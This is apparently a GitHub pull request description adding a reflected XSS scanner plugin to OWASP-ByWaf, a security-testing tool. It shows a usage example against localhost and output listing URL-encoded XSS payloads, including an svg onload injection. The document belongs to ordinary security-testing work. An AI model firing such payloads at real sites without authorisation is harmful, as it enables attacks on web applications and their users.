depasonico/OWASP-ByWaf — pull request #4 by asim-jaweesh (2014-05-29 08:29:44+00:00)
Title: reflected xss plugin

based on the original @Zigoo0's WebPwn3r
use:
Bywaf> use xss
Bywaf/xss> xss http://localhost/xss.php?p=a
[*] Bingo! Vulnerable url: http://localhost/xss.php?p=a%27%3Ezigoo0%3Csvg%2Fonload%3Dconfirm%28%2Fzigoo0%2F%29%3Eweb
[*] Bingo! Vulnerable url: http://localhost/xss.php?p=a%78%22%78%3e%78